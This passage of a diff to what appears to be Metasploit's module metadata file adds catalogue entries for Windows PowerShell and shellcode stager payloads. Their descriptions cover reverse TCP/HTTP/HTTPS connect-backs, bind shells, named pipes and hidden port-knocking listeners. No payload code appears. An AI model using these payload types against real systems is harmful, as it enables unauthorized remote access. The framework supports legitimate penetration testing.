"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_udp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_winhttp": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTP Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/custom/reverse_winhttps": {
"name": "Powershell Exec, Windows shellcode stage, Windows Reverse HTTPS Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Execute an x86 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp": {
"name": "Powershell Exec, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/cmd/windows/powershell/dllinject/bind_hidden_ipknock_tcp",
@@ -178575,6 +180946,525 @@
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"UserExistsError"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_http": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_https": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"agix",
"rwincey"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": {
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_winhttp": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/custom/reverse_winhttps": {
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"Spencer McIntyre",
"bwatters-r7",
"OJ Reeves"
],
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
"references": [
],
"platform": "Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-05-27 16:41:25 +0000",
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
"is_install_path": true,
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
"name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
"fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
@@ -188721,6 +191611,1028 @@
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_hidden_ipknock_tcp": {
"name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/custom/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_hidden_tcp": {
"name": "Windows shellcode stage, Hidden Bind TCP Stager",
"fullname": "payload/windows/custom/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_ipv6_tcp": {
"name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/windows/custom/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_ipv6_tcp_uuid": {
"name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/custom/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_named_pipe": {
"name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/windows/custom/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"UserExistsError"
],
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_nonx_tcp": {
"name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/windows/custom/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"vlad902 <vlad902@gmail.com>"
],
"description": "Custom shellcode stage. Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp": {
"name": "Windows shellcode stage, Bind TCP Stager (Windows x86)",
"fullname": "payload/windows/custom/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp_rc4": {
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/custom/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Custom shellcode stage. Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/bind_tcp_uuid": {
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/custom/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/custom/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/find_tag": {
"name": "Windows shellcode stage, Find Tag Ordinal Stager",
"fullname": "payload/windows/custom/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"skape <mmiller@hick.org>"
],
"description": "Custom shellcode stage. Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
"is_install_path": true,
"ref_name": "windows/custom/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_hop_http": {
"name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
"fullname": "payload/windows/custom/reverse_hop_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
"bannedit <bannedit@metasploit.com>",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_hop_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_http": {
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/windows/custom/reverse_http",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_http_proxy_pstore": {
"name": "Windows shellcode stage, Reverse HTTP Stager Proxy",
"fullname": "payload/windows/custom/reverse_http_proxy_pstore",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_http_proxy_pstore",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_https": {
"name": "Windows shellcode stage, Windows Reverse HTTPS Stager (wininet)",
"fullname": "payload/windows/custom/reverse_https",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTPS (Windows wininet)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-11-10 12:33:52 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_https_proxy": {
"name": "Windows shellcode stage, Reverse HTTPS Stager with Support for Custom Proxy",
"fullname": "payload/windows/custom/reverse_https_proxy",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"corelanc0d3r <peter.ve@corelan.be>",
"amaloteaux <alex_maloteaux@metasploit.com>"
],
"description": "Custom shellcode stage. Tunnel communication over HTTP using SSL with custom proxy support",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"path": "/modules/payloads/stagers/windows/reverse_https_proxy.rb",
"is_install_path": true,
"ref_name": "windows/custom/reverse_https_proxy",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
"needs_cleanup": false
},
"payload_windows/custom/reverse_ipv6_tcp": {
"name": "Windows shellcode stage, Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/custom/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"bwatters-r7",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Custom shellcode stage. Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
